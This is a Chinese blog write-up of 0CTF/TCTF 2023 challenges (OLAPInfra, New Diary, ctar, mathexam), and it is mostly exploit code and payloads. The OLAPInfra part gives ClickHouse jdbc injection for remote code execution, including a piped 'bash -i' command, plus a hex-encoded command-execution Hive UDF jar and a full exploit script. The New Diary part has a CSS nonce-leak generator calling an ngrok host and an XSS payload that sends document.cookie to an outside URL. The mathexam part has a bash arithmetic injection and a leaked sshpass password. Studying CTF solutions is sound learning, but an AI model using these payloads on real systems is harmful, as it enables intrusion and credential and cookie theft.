0CTF x TCTF 2023
本文最后更新于 132 天前,其中的信息可能已经有所发展或是发生改变。

没时间写,强网杯打完再不写就真不想写了,连夜先写点儿

Web

OLAPInfra

官方WriteUp

https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2023/olapinfra
  • 启动docker之前,先把hive和clickhouse的entrypoint.sh的非法字符删了,不然会报exec /start.sh: no such file or directory
sed -i "s/\r//g" entrypoint.sh
  • 入口只有一个,web容器的8080端口
<?php
error_reporting(E_ALL ^ E_DEPRECATED);
require __DIR__ . '/../vendor/autoload.php';
if (!isset($_GET['query'])) {
  show_source(__FILE__);
  exit;
}
$config = [
  'host' => 'clickhouse',
  'port' => '8123',
  'username' => 'default',
  'password' => ''
];
$db = new ClickHouseDB\Client($config);
$db->database('default');
$db->setTimeout(1.5);
$db->setTimeout(10);
$db->setConnectTimeOut(5);
$db->ping(true);
$statement = $db->select('SELECT * FROM u_data WHERE ' . $_GET['query'] . ' LIMIT 10');
echo (json_encode($statement->rows()));


// Err 'Uncaught ClickHouseDB\Exception\DatabaseException: connect to hive metastore: thrift' or
// Err 'NoSuchObjectException(message=hive.default.u_data table not found)',
// please wait for >= 1min, hive is not initialized.
-- scripting
select * from jdbc('script', '[1,2,3]')
select * from jdbc('script', 'js', '[1,2,3]')
select * from jdbc('script', 'scripts/one-two-three.js')
1=0 UNION ALL SELECT results, '', '', '' FROM jdbc('script', 'java.lang.Runtime.getRuntime().exec("id")')
  • 回显
1=0 UNION ALL SELECT results, '', '', '' FROM jdbc('script', 'var a=new java.lang.ProcessBuilder("/readflag"),b=a.start(),c=b.getInputStream(),sb=new java.lang.StringBuilder(),d=0;while ((d=c.read())!=-1){sb.append(String.fromCharCode(d))};c.close();sb.toString()')
  • 此时,成功RCE读取第一个部分flag,接下来要通过Clickhoust攻击Hive;由Hive官方文档得知,可以通过上传jar包以创建新的函数
Create Function
Version information

As of Hive 0.13.0 (HIVE-6047).

CREATE FUNCTION [db_name.]function_name AS class_name
  [USING JAR|FILE|ARCHIVE 'file_uri' [, JAR|FILE|ARCHIVE 'file_uri'] ];
This statement lets you create a function that is implemented by the class_name. Jars, files, or archives which need to be added to the environment can be specified with the USING clause; when the function is referenced for the first time by a Hive session, these resources will be added to the environment as if ADD JAR/FILE had been issued. If Hive is not in local mode, then the resource location must be a non-local URI such as an HDFS location.

The function will be added to the database specified, or to the current database at the time that the function was created. The function can be referenced by fully qualifying the function name (db_name.function_name), or can be referenced without qualification if the function is in the current database.
  • Exec.java
package udf;
import org.apache.hadoop.hive.ql.exec.UDF;
import org.apache.hadoop.io.Text;
import java.io.*;
import java.lang.*;
 
public final class Exec extends UDF {
  public Text evaluate(final Text s) {
    if (s == null) { return null; }
    try 
    {
        String result = "";
        String command = s.toString();
        Process p = Runtime.getRuntime().exec(command);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            result += inputLine + "\n";
        }
        in.close();
        return new Text(result);
    } catch (IOException e) {
        return new Text(e.toString());
    }

  }
}
  • 上传jar
jdbc('jdbc:clickhouse://127.0.0.1:8123', 'CREATE TABLE hdfs_test (name String) ENGINE=HDFS(\'hdfs://namenode:8020/a.jar\', \'Native\');')

jdbc('jdbc:clickhouse://127.0.0.1:8123', 'INSERT INTO hdfs_test SETTINGS hdfs_create_new_file_on_insert=TRUE VALUES (unhex(\'504b0304140008080800908a1457000000000000000000000000090004004d4554412d494e462ffeca00000300504b0708000000000200000000000000504b0304140008080800908a1457000000000000000000000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5722e4a4d2c494dd175aa040958e819c41b19182968f8172526e7a42a38e71715e417259600d56bf272f1720100504b07084dcd370f4400000045000000504b03040a0000080000e0891457000000000000000000000000040000007564662f504b03041400080808008f8a14570000000000000000000000000e0000007564662f457865632e636c6173738554db521341103d13929db02c04c235de50144820b082281810919ba209580429f3e6920c6135ecc6b04bf147bee24b62992a1fb5ca6ff01bfc024bec59ae01d4247576a64f9fee9e9ede7cfffdf90b8031aca8e8447f10511561c4540c6050429c63886358858ebb2a384654281895708f634c85867e09f78378209f31c98c734cc8280f39122ada10e398e4986250a64ccb74a619eaa2b17506ff9c9d130ca1a4698965777b4394d68c8d02598262d728b88643cb8968d22ee575a36864b784be65e46cbba89bb6be26f69cc9d83f3886c6b46364dfa58ca217d5ab6182e311c7b477a604839ab6dd52562c9a3269fdc29ec80ebf35760d0d5d8830d0711e6386e3898659cc6998c702438774904966ddcd4d5112b95561e4448921724c2c5945d7493b25616c1f729450c3229ecab0cf242c69788e19864e4f5230acbc4efea6959f75cd020934bc409281a91a52b290c85f4f29a32d33b49ee45e59d8cb8aa263da1675d1cd6deaf2500c3d17236c99bb427f5fd00539e8afe617199acf97c3d0726a7a59b2b3626787c23af631dd168d25cf8b266b54abaee598dbd45d352f9c934d7b8deec84c42bff0aaed8f5e8c7a5670540a099a28ea997e534b8f23d75e04b976452f25e41cb69e528737e65983c4e7e468d2dc1ac5a2b0720c43ffa9ace61a2969205bb077bc035fa25bc7083ae8a5931f1f981c3ac22bb4bb4e4f9a3f04062a601f69c1709550f18c9cf09ae7225d7f224016c01afc8600db0ffb528365d42d7f827fa88c40c25f8592a9826722fe328215d457a026029140190d9984f215dd5568990a1ae365344514827088a08ce6d487831fd2ada58a70265e41eb7eca5b95d12e37945dc11b18f476fbbcda86d140584f568db0114df4ed440871b4609cfe0bd2e4f91aeda4e8c0063137c87b147ee500bd5038ba396e72dcf27e3d1cb7815fe8a3dd0185f21dd2601c77286fafd7aebe3f504b07083d09d2e8ba020000b9040000504b03041400080808008a8a14570000000000000000000000000d0000007564662f457865632e6a6176617d51c14ec3300cbdf72bcc4e2993f203532f88214d42020db87131a9db06d224a4c93684faef245dd795219143e43cbff7ecd816c507d604a1ac56996cad711e8cab395a140df1064b632c6fe48ef8a7e27420c15f6eeffea14ac39fe9e027c63bee3081d7bf1185ba4e186436bc2929a0921a1508855d07eb5806a209e9b283580ebe33809197cc8176a8027a6247d58075f940039015b00e8a0274502a82e0c807a787e70afa81e3dd170cc15192ce937752d791dc05e5a180c562759913a66d519731d9716f8e20cbcfb4476704c5fe6d646c83f6b2255e931f43960ff363a3cb4c7713aa8a1c955bc2921c481df59af617384bd046dbe06365c276446d2a3183599ee77f3a97297f2f359d33fb462a02c6a6542c2a358f16657a451bb89a6638a9d21947b42cceb6b084c5ab9e4dac9fa2e82994e9683ea8d346e287d2eed8d17124f420d08b06d8e6617d1064bd341a68dec4a59c66db38996459bafa1f504b0708f7e1f46d60010000e0020000504b01021400140008080800908a14570000000002000000000000000900040000000000000000000000000000004d4554412d494e462ffeca0000504b01021400140008080800908a14574dcd370f440000004500000014000000000000000000000000003d0000004d4554412d494e462f4d414e49464553542e4d46504b01020a000a0000080000e08914570000000000000000000000000400000000000000000000000000c30000007564662f504b010214001400080808008f8a14573d09d2e8ba020000b90400000e00000000000000000000000000e50000007564662f457865632e636c617373504b010214001400080808008a8a1457f7e1f46d60010000e00200000d00000000000000000000000000db0300007564662f457865632e6a617661504b0506000000000500050026010000760500000000\'))')
  • 因为第二个部分的flag在hive的机器里,由于clickhouse并不支持Thrift协议,所以出题人写了一个简易的hive客户端,通过命令执行连接hive;上传时分块上传,后进行拼接
package main

import (
	"context"
	"github.com/beltran/gohive"
	"log"
	"os"
)

func main() {
	conf := gohive.NewConnectConfiguration()
	conf.Username = "root" // username maybe empty
	connection, errConn := gohive.Connect("hive", 10000, "NONE", conf)
	if errConn != nil {
		log.Fatalln(errConn)
	}
	defer connection.Close()
	cursor := connection.Cursor()
	ctx := context.Background()
	cursor.Exec(ctx, os.Args[1])
	if cursor.Err != nil {
		log.Fatalln(cursor.Err)
	}
	defer cursor.Close()
	var s string
	for cursor.HasMore(ctx) {
		cursor.FetchOne(ctx, &s)
		if cursor.Err != nil {
			log.Fatalln(cursor.Err)
		}
		log.Println(s)
	}
}

#!/bin/bash
# build in golang:1.21.3-bullseye
go build -a -gcflags=all="-l -B -wb=false" -ldflags "-s -w"
upx --brute --best clickhouse-to-hive

  • 通过这个客户端,使用上传的jar包,执行readflag
create function default.v as 'udf.Exec' using jar 'hdfs:///a.jar'
select default.v('/readflag')\" 2>&1

出题人exp.py

import requests
import base64
import re
import json
import sys

def tohex(s):
  return ''.join("{:02x}".format(ord(c)) for c in s)

def ch_jdbc_sql(s):
  return "jdbc('jdbc:clickhouse://127.0.0.1:8123', '" + s.replace("'", "\\\'") + "')"

def query(s):
  a = requests.get(sys.argv[1], params={
    "query": "1=0 union all select results, '2', '3', '4' from " + s
  })
  text = a.text
  try:
    return json.loads(text)[0]['userid']
  except:
    return a.text

def rce_in_clickhouse(c):
  sql = "jdbc('script:', 'var a=new java.lang.ProcessBuilder(\"bash\",\"-c\",\"{{echo,{}}}|{{base64,-d}}|{{bash,-i}}\"),b=a.start(),c=b.getInputStream(),sb=new java.lang.StringBuilder(),d=0;while ((d=c.read())!=-1){{sb.append(String.fromCharCode(d))}};c.close();sb.toString()')".format(base64.b64encode(c.encode('utf-8')).decode('utf-8'))
  return query(sql)


def step1():
  print('====== STEP 1: RCE in clickhouse-jdbc-driver ======')
  flag = rce_in_clickhouse('/readflag')
  print(f'FLAG1: {flag}')

def step2():
  print('====== STEP 2: Upload hive UDF to HDFS by clickhouse ======')
  udf = open('udf.jar', 'rb').read().hex()
  sql1 = ch_jdbc_sql("CREATE TABLE hdfs_test (name String) ENGINE=HDFS('hdfs://namenode:8020/a.jar', 'Native');")
  sql2 = ch_jdbc_sql("INSERT INTO hdfs_test SETTINGS hdfs_create_new_file_on_insert=TRUE VALUES (unhex('{}'))".format(udf))
  query(sql1)
  query(sql2)

def step3():
  print('====== STEP 3: Upload hive client to clickhouse ======')
  ch_to_hive = open('./clickhouse-to-hive/clickhouse-to-hive', 'rb').read()
  ch_to_hive_parts = [ch_to_hive[i:i+4096] for i in range(0, len(ch_to_hive), 4096)]
  for i, r in enumerate(ch_to_hive_parts):
    # Cannot direct append because script will be executed twice
    s = base64.b64encode(r).decode('ascii')
    sql3 = "jdbc('script:', 'var fos=Java.type(\"java.io.FileOutputStream\");var f=new fos(\"/tmp/ttt{}\");f.write(java.util.Base64.decoder.decode(\"{}\"));f.close();1')".format(str(i), s)
    query(sql3)
  sql4 = "jdbc('script:', 'var File=Java.type(\"java.io.File\");var fos=Java.type(\"java.io.FileOutputStream\");var fis=Java.type(\"java.io.FileInputStream\");var f=new fos(\"/tmp/ch-to-hive\");for(var i=0;i<{};i++){{var ff=new File(\"/tmp/ttt\"+i.toString());var a=new Array(ff.length()+1).join(\"1\").getBytes();var fi=new fis(ff);fi.read(a);fi.close();f.write(a);}}f.close();')".format(str(len(ch_to_hive_parts)))
  query(sql4)
  rce_in_clickhouse('chmod +x /tmp/ch-to-hive && rm -rf /tmp/ttt*')

def step4():
  print('====== STEP 4: RCE in hive ======')
  hivesql1 = "/tmp/ch-to-hive \"create function default.v as 'udf.Exec' using jar 'hdfs:///a.jar'\""
  hivesql2 = "/tmp/ch-to-hive \"select default.v('/readflag')\" 2>&1"
  rce_in_clickhouse(hivesql1)
  print('FLAG2: ' + rce_in_clickhouse(hivesql2))
  rce_in_clickhouse('rm -rf /tmp/ch-to-hive')

step1()
step2()
step3()
step4()

New Diary

相关WriteUp

https://github.com/salvatore-abello/CTF-Writeups/tree/main/0ctf%20-%202023/newdiary
https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/
  • 先观察一下有哪些路由,/单纯一个跳转,如果session存在,渲染index.html并且显示自己的note
app.all("/", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/login");
  } else {
    return res.render("index", {
      username: req.session.username,
      notes: notes.get(req.session.username) || [],
    });
  }
});
  • GET /login,渲染login.html
app.get("/login", (req, res) => {
  if (req.session.username) {
    return res.redirect("/");
  }
  return res.render("login");
});
  • POST /login,登录加注册
app.post("/login", (req, res) => {
  if (req.session.username) {
    return res.redirect("/");
  }
  const { username, password } = req.body;

  if (
    username.length < 4 ||
    username.length > 10 ||
    typeof username !== "string" ||
    password.length < 6 ||
    typeof password !== "string"
  ) {
    return res.render("login", { msg: "invalid data" });
  }

  if (users.has(username)) {
    if (users.get(username) === sha256(password)) {
      req.session.username = username;

      return res.redirect("/");
    } else {
      return res.render("login", { msg: "Invalid Password" });
    }
  } else {
    users.set(username, sha256(password));
    req.session.username = username;

    return res.redirect("/");
  }
});
  • /write,接收title和content两个参数,并且限制title.length<30, content.length<256
app.post("/write", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/");
  }
  const username = req.session.username;
  const { title, content } = req.body;

  assert(title && typeof title === "string" && title.length < 30);
  assert(content && typeof content === "string" && content.length < 256);

  const user_notes = notes.get(username) || [];
  user_notes.push({
    title,
    content,
    username,
  });
  notes.set(req.session.username, user_notes);

  return res.redirect("/");
});
  • /read,渲染read.html,并且页面内包含nonce
app.get("/read", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/");
  }

  return res.render("read", { nonce: res.nonce });
});
  • /read/:id,返回对应用户的对应IDnote
app.get("/read/:id", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/");
  }

  const { id } = req.params;
  if (!/^\d+$/.test(id)) {
    return res.json({ status: 401, message: "Invalid parameter" });
  }

  const user_notes = notes.get(req.session.username);
  const found = user_notes && user_notes[id];

  if (found) {
    return res.json({ title: found.title, content: found.content });
  } else {
    return res.json({ title: "404 not found", content: "no such note" });
  }
});
  • /share_diary/:id,将note存入share_notes,重定向至/share
app.get("/share_diary/:id", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/");
  }
  const tmp = share_notes.get(req.session.username) || [];
  const { id } = req.params;

  if (!/^\d+$/.test(id)) {
    return res.json({ status: 401, message: "Invalid parameter" });
  }

  const user_notes = notes.get(req.session.username);
  const found = user_notes && user_notes[id];
  if (found) {
    tmp.push(found);
    share_notes.set(req.session.username, tmp);
    return res.redirect("/share");
  } else {
    return res.json({ title: "404 not found", content: "no such note" });
  }
});
  • /share,显示用户share的note
app.all("/share", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/login");
  } else {
    return res.render("share", {
      notes: share_notes.get(req.session.username) || [],
    });
  }
});
  • /share/read,渲染read_share.html
app.get("/share/read", (req, res) => {
  return res.render("read_share", { nonce: res.nonce });
});
  • /share/read/:id,查询任意存在用户已共享的对应note,返回json数据
app.get("/share/read/:id", (req, res) => {
  const { id } = req.params;
  const username = req.query.username;

  let found;
  if (!/^\d+$/.test(id)) {
    return res.json({ status: 401, message: "Invalid parameter" });
  }
  try {
    if (username !== undefined) {
      found = share_notes.get(username);
      if (found) {
        return res.json({
          title: found[id].title,
          content: found[id].content,
          username: found[id].username,
        });
      }
    } else if (req.session.username) {
      found = share_notes.get(req.session.username);
      if (found) {
        return res.json({
          title: found[id].title,
          content: found[id].content,
          username: found[id].username,
        });
      }
    }
  } catch {
    return res.json({ title: "404 not found", content: "no such note" });
  }
  return res.json({ title: "404 not found", content: "no such note" });
});
  • /logout
app.all("/logout", (req, res) => {
  req.session.destroy();
  return res.redirect("/");
});
  • /report,触发bot去访问你给页面,限制了频率30秒
app.get("/report", (req, res) => {
  if (!req.session.username) {
    return res.redirect("/login");
  }
  const id = req.query.id;
  const username = req.query.username;
  if (typeof id === "string" && /^\d+$/.test(id)) {
    try {
      if (
        report.has(req.session.username) &&
        report.get(req.session.username) + 30 > now()
      ) {
        return res.json({ error: "too fast" });
      }
      report.set(req.session.username, now());
      visit(id, username);
      return res.json({ msg: "visited" });
    } catch (e) {
      return res.status(500).json({ error: "failed" });
    }
  }
  res.status(400).json({ error: "bad url" });
});
  • visit()
async function visit(id, username) {
  const browser = await puppeteer.launch({
    args: ["--no-sandbox", "--headless"],
    executablePath: "/usr/bin/google-chrome",
  });
  try {
    let page = await browser.newPage();

    await page.goto(`http://localhost/login`);

    await page.waitForSelector("#username");
    await page.focus("#username");
    await page.keyboard.type(random_bytes(10), { delay: 10 });

    await page.waitForSelector("#password");
    await page.focus("#password");
    await page.keyboard.type(random_bytes(20), { delay: 10 });

    await new Promise((resolve) => setTimeout(resolve, 300));
    await page.click("#submit");
    await new Promise((resolve) => setTimeout(resolve, 300));

    page.setCookie({
      name: "FLAG",
      value: flag,
      domain: "localhost",
      path: "/",
      httpOnly: false,
      sameSite: "Strict",
    });

    await page.goto(
      `http://localhost/share/read#id=${id}&username=${username}`,
      { timeout: 5000 }
    );
    await new Promise((resolve) => setTimeout(resolve, 30000));
    await page.close();
    await browser.close();
  } catch (e) {
    console.log(e);
    await browser.close();
  }
}
  • 目前一个比较明显大致的基本操作流程成型
    • 创建note
    • 共享note
    • bot触发,xss获取flag
  • xss的页面主要涉及到share_read.js这个文件
load = () => {
    document.getElementById("title").innerHTML = ""
    document.getElementById("content").innerHTML = ""
    const param = new URLSearchParams(location.hash.slice(1));
    const id = param.get('id');
    let username = param.get('username');
    if (id && /^[0-9a-f]+$/.test(id)) {
        if (username === null) {
            fetch(`/share/read/${id}`).then(data => data.json()).then(data => {
                const title = document.createElement('p');
                title.innerText = data.title;
                document.getElementById("title").appendChild(title);
        
                const content = document.createElement('p');
                content.innerHTML = data.content;
                document.getElementById("content").appendChild(content);
            })
        } else {
            fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => {
                const title = document.createElement('p');
                title.innerText = data.title;
                document.getElementById("title").appendChild(title);

                const content = document.createElement('p');
                content.innerHTML = data.content;
                document.getElementById("content").appendChild(content);
            })
        }
        document.getElementById("report").href = `/report?id=${id}&username=${username}`;
    }
    window.removeEventListener('hashchange', load);
}
load();
window.addEventListener('hashchange', load);
  • 改代码中添加了hashchange的监听器,那么就可以在不重新加载页面的情况下请求多个note,并且不改变nonce;但此处我们只能修改一次hash,然后hashchange_EventListener将会被删除;在此处代码中,对content赋值时,使用了innerHTML赋值,则可以插入我们想要的html代码
    • 实际上,在提交页面给bot访问时,只能访问一个页面,我们无法修改其hash,则需要第一次先使bot重定向至我们自建的页面,以修改hash
  • 但是,在该处页面的html中限制了script-src
<meta http-equiv="Content-Security-Policy"
    content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
  • 则目前的操作流程,note 0 使bot跳转至自己的页面,以使二次改变hash
<meta http-equiv="refresh" content="0.0;url=https://example.com">
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
    <script>
        const sleep = (milliseconds) => new Promise(resolve => setTimeout(resolve, milliseconds));
        async function run(){
            bot_window = window.open("http://localhost/share/read#id=1&username={{USERNAME}}"); // Exploit 1, leak nonce
            await sleep(7000);

            bot_window.location.href = "http://localhost/share/read#id=2&username={{USERNAME}}"; // Exploit 2, leak cookie
            await sleep(100);
            console.log("O");
        }
        run();
    </script>
</body>
</html>
  • 随后跳转至note 1,触发css leak(前提将css上传至https://unpkg.com
<link rel="stylesheet" href="https://unpkg.com/xxxxx.css"><input />
import itertools

charset = "abcdefghijklmnopqrstuvwxyz0123456789"

perms = list(map("".join, itertools.product(charset, repeat=3)))

with open("leak.css", "w") as f:
    for i, x in enumerate(perms):
        f.write(
            f""":has(script[nonce*="{x}"]){{--tosend-{x}: url(https://25de-37-160-34-111.ngrok-free.app/?x={x});}}""")

    data = ""
    print("loading")
    for x in perms:
        data += f"var(--tosend-{x}, none),"

    print("done")
    print("writing")

    f.write(("""
input{
background: %s
}
""" % data[:-1]))
  • 通过收到的leak请求判断nonce的代码
def retrieveNonce(nonce_substr=nonce_substr, force=False):
    # find the beginning of the nonce (there is no match for start)
    new_substr = list(nonce_substr)
    if (len(new_substr) != 30 and not force):
        print(f"different length of new_substr [{len(new_substr)}] - aborting")
        return 0
    backup = []
    nonce = ''
    remove_i = 0
    for i in range(len(new_substr)):
        start_i = new_substr[i][0:2]
        left = 0
        for j in range(len(new_substr)):
            end_j = new_substr[j][-2:]
            if i != j:
                if start_i == end_j:
                    left = 1
                    break
        if left == 0:
            # beginning
            remove_i = i
            nonce = new_substr[i]
            break
    if (len(nonce) == 0):
        print("no beginning - aborting")
        return 0
    while (len(nonce) < 32):
        new_substr = new_substr[0:remove_i] + new_substr[remove_i+1:]
        # print("new substr: " + str(new_substr))
        found = []
        for i in range(len(new_substr)):
            start_i = new_substr[i][0:2]
            if (nonce[-2:] == start_i):
                # print("found: " + start_i)
                found += [i]
        if (len(found) == 0):
            # start over from latest backup
            if (len(backup) > 0):
                nonce = backup[-1][0]
                found = backup[-1][1]
                new_substr = backup[-1][2]
                backup = backup[:-1]
            else:
                print("no backup - aborting")
                break
        if (len(found) > 0):
            if (len(found) > 1):
                print("found more than one: " + str(found))
                backup += [[nonce, found[1:], new_substr]]
            remove_i = found[0]
            nonce += new_substr[remove_i][-1]

        # input("nonce: " + nonce)

    return nonce
  • 此时获取到nonce,然后泄露cookie,note 2
<iframe name=asd srcdoc="<script nonce=nonce>top.location='https://example.com/flag?flag='+encodeURI(document['cookie'])</script>"/>
  • 获取到flag
挺有趣的题目,但是其中有些重要的点都没有亲自去尝试,前端欠缺的东西不少,只能说是理解了,实操还是差点儿,这个题解,只能算是对其他大师傅的一个细读,后续再慢慢实验

Misc

说句题外话,这misc里好多shellcode,比赛的时候都是r3的re✌在做,看不懂二进制的世界

ctar

出题人

https://github.com/Septyem/My-Public-CTF-Challenges/blob/master/0ctf-tctf-2023/ctar/
  • 看着预期解,是要通过构造特殊的tar包使python解压时报错,以直接下载flag,不懂,直接偷wp
from pwn import *
import struct
from hashlib import sha256

def dopow(c):
    chal = c.recvline()
    post = chal[12:28]
    tar = chal[33:-1].decode('latin-1')
    c.recvuntil(':')
    found = iters.bruteforce(lambda x:sha256(x.encode('latin-1')+post).hexdigest()==tar, string.ascii_letters+string.digits, 4)
    c.sendline(found)

context.log_level='debug'

#c = remote("127.0.0.1", 10010)
c = remote("202.120.7.12", 30001)
dopow(c)

omode = b'0000644\x00'
oname = b'51774a47'
tmode = b'\x80\x00\x00\x00\x80\x00\x01\xed'
with open("a.tar", 'rb') as f:
    pt = f.read()
cksum1 = 256 + sum(struct.unpack_from("148B8x356B", pt[0x400:]))
ocksum1 = oct(cksum1)[2:]
assert len(ocksum1) == 5
cksum2 = 256 + sum(struct.unpack_from("148B8x356B", pt[0xc00:]))
ocksum2 = oct(cksum2)[2:]
assert len(ocksum2) == 5
with open("a.ctar", 'rb') as f:
    ct = f.read()
ct = list(ct)

c.sendlineafter('> ', '0')
c.recvuntil('[OK] ')
tname = c.recv(8)
assert len(tname)==8

for i in range(8):
    ct[8+0xc00+i] ^= oname[i]^tname[i]
    cksum2 += tname[i]-oname[i]
for i in range(8):
    ct[8+0x464+i] ^= omode[i]^tmode[i]
    cksum1 += tmode[i]-omode[i]
tcksum1 = oct(cksum1)[2:]
assert len(tcksum1) == 5
tcksum2 = oct(cksum2)[2:]
assert len(tcksum2) == 5
for i in range(5):
    ct[8+0x495+i] ^= ord(ocksum1[i])^ord(tcksum1[i])
for i in range(5):
    ct[8+0xc95+i] ^= ord(ocksum2[i])^ord(tcksum2[i])
cont = bytes(ct)
c.sendlineafter('> ', '2')
c.sendlineafter(': ', str(len(cont)))
c.sendlineafter(': ', cont.hex())

c.sendlineafter('> ', '4')
c.recvuntil('size: ')
sz = int(c.recvline())
ctar = c.recvline()
assert len(ctar) == sz*2+1
t = bytes.fromhex(ctar.strip().decode('latin-1'))
t = list(t)
t[8] ^= 1
c.sendlineafter('> ', '2')
c.sendlineafter(': ', str(len(t)))
c.sendlineafter(': ', bytes(t).hex())
c.recvuntil("tar file\n")
resp = c.recvline()
t = list(bytes.fromhex(resp.strip().decode('latin-1')))
t[0] ^= 1
with open("ans.tar", 'wb') as f:
    f.write(bytes(t))
c.close()
  • r3的师傅们的题解

ChaCha20为流密码,当nonce和key保持不变时,生成的密钥流一直不变

密钥流 ^ 明文 = 密文

使用两对明文密文则可以计算出密钥流

from Crypto.Cipher import ChaCha20
from Crypto.Util.number import *
import os


key = os.urandom(32)
nonce = os.urandom(8)

cipher = ChaCha20.new(nonce=nonce, key=key)
msg1 = b'mytest_msg'
c1 = cipher.encrypt(msg1)

cipher = ChaCha20.new(nonce=nonce, key=key)
msg2 = b'flag{test}'
c2 = cipher.encrypt(msg2)


res = b''
for i in range(10):
    key_byte = c1[i] ^ msg1[i]
    res += long_to_bytes(key_byte ^ c2[i])

print(res)
#b'flag{test}'

exp.py

from pwncli import *
from ctypes import *
update = False
context(os='linux', arch='amd64', log_level='debug', terminal=['gnome-terminal','-x', 'sh', '-c'])
ip_port='chall.ctf.0ops.sjtu.cn 30001'
ip, port=ip_port.split(' ')
io = remote(ip,int(port))
rl = lambda a=False        : io.recvline(a)
ru = lambda a,b=True       : io.recvuntil(a,b)
r = lambda x               : io.recvn(x)
ra = lambda x              : io.recvall(x)
s = lambda x               : io.send(x)
sl = lambda x              : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b           : io.sendlineafter(a,b)
ia = lambda                : io.interactive()
db = lambda text=None      : gdb.attach(io, text)
lg = lambda s              : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data         : u32(data.ljust(4, b'\x00'))
uu64 = lambda data         : u64(data.ljust(8, b'\x00'))
nonce = ''
def add_secret(size, hex_file):
    sla('> ','1')
    sla('size: ',str(size))
    sla('file(hex): ', hex_file)
    pass
def upload_tar(file):
    content = file
    sla('> ','2')
    sla('size: ',str(len(content)))
    sla('file(hex): ', nonce.encode('latin1').hex() + content.hex())
    pass
def read_secrets():
    sla('> ','3')
    # do nothing
    pass
def download_tar() -> bytes:
    sla('> ','4')
    rl()
    return rl()
def add_flag() -> str:
    sla('> ','0')
    ru('[OK] ')
    return r(8).decode()
def proof_of_work():
    import hashlib
    import itertools
    import string
    ru('sha256(XXXX+')
    suffix = r(16).decode()
    ru(') == ')
    target_hash = r(64).decode()
    for chars in itertools.product(string.ascii_letters + string.digits, repeat=4):
        test_string = ''.join(chars) + suffix
        test_hash = hashlib.sha256(test_string.encode()).hexdigest()
        if test_hash == target_hash:
            solution = ''.join(chars)
            break
    sla('Give me XXXX:',solution)
proof_of_work()
# leak
leak = bytes.fromhex(download_tar().decode()).decode('latin1')
nonce = leak[:8]
enc = leak[8:]
assert len(nonce) == 8
assert len(enc) == 10240
flag_file = add_flag()
print('\033[1;31;40m The nonce is %s \033[0m' % nonce.encode('latin1').hex())
print('\033[1;31;40m The flag file is %s \033[0m' % flag_file)
# generate
import os
mkdir_p('./' + flag_file)
os.system('tar -cf a.tar ' + flag_file)
with open('a.tar', 'rb') as f:
    upload_tar(xor(f.read(),enc.encode('latin1')))
    # upload_tar(f.read())
leak = bytes.fromhex(download_tar().decode()).decode('latin1')
flag = leak[8:]
nonce = leak[:8]
upload_tar(b'\x00'*0x2800)
rl()
rl()
enc = rl()
print('\033[1;31;40m The length of enc is %d \033[0m' % len(enc))

with open('flag.tar', 'wb') as w:
    w.write(xor(flag,bytes.fromhex(enc.decode('latin1'))))
ia()

mathexam

我觉得很好玩的题目,也算是点儿小技巧(可能吧

  • flag1
The math exam starts now. Participate with integrity and never cheat.

Someone has stolen the exam paper, and definitely he got full marks.
Fortunately, he didn't find the flag.

#!/bin/bash

echo "You are now in the math examination hall."
echo "First, please read exam integrity statement:"
echo ""

promisetext="I promise to play fairly and not to cheat. In case of violation, I voluntarily accept punishment"
echo "$promisetext"
echo ""

echo "Now, write down the exam integrity statement here:"
read userinput

if [ "$userinput" = "$promisetext" ]
then
    echo "All right"
else
    echo "Error"
    exit
fi

echo ""
echo "Exam starts"
echo "(notice: numbers in dec, oct or hex format are all accepted)"
echo ""

correctcount=0
for i in {1..100}
do
    echo "Problem $i of 100:"
    echo "$i + $i = ?"

    ans=$(($i+$i))
    read line

    if [[ "$line" -eq "$ans" ]]
    then
        correctcount="$(($correctcount+1))"
    fi
    echo ""
done

echo "Exam finishes"
echo "You score is: $correctcount"

exit


flag1
  • ByteCTF2022 bash逃逸
    • [[ "$line" -eq "$ans" ]]因为这个东西
a[$(sh 1>&2)]
  • flag2,部分靶机的信息

cd /etc
ls
resolv.conf
cat resolv.conf
search sugon.server.sjtunic.org
nameserver 127.0.0.11
options ndots:0
ls -al
total 52
drwxr-xr-x 1 0 0  4096 Dec 10 00:11 .
drwxr-xr-x 1 0 0  4096 Dec 10 00:11 ..
-rw-r--r-- 1 0 0 12288 Mar 17  2023 .connect.sh.swp
drwxr-xr-x 1 0 0  4096 Dec 10 00:11 bin
drwxr-xr-x 1 0 0  4096 Dec 10 05:47 etc
-rw-rw-r-- 1 0 0   359 Dec 10 00:10 flag1
drwxr-xr-x 3 0 0  4096 Dec  9 18:44 lib
drwxr-xr-x 2 0 0  4096 Dec  9 18:44 lib64
-rwxrwxr-x 1 0 0   836 Mar 17  2023 server
cat .connect.sh.swp
U3210#"! Utpad�����sshpass -p x5kdkwjr8exi2bf70y8g80bggd2nuepf ssh ctf@second#!/bin/bashect.sh
bash-5.1$ busybox
busybox
BusyBox v1.30.1 (Ubuntu 1:1.30.1-7ubuntu3) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  The shell in this build
        is configured to run built-in utilities without $PATH search.
        You don't need to install a link to busybox for each utility.
        To run external program, use full path (/sbin/ip instead of ip).

Currently defined functions:
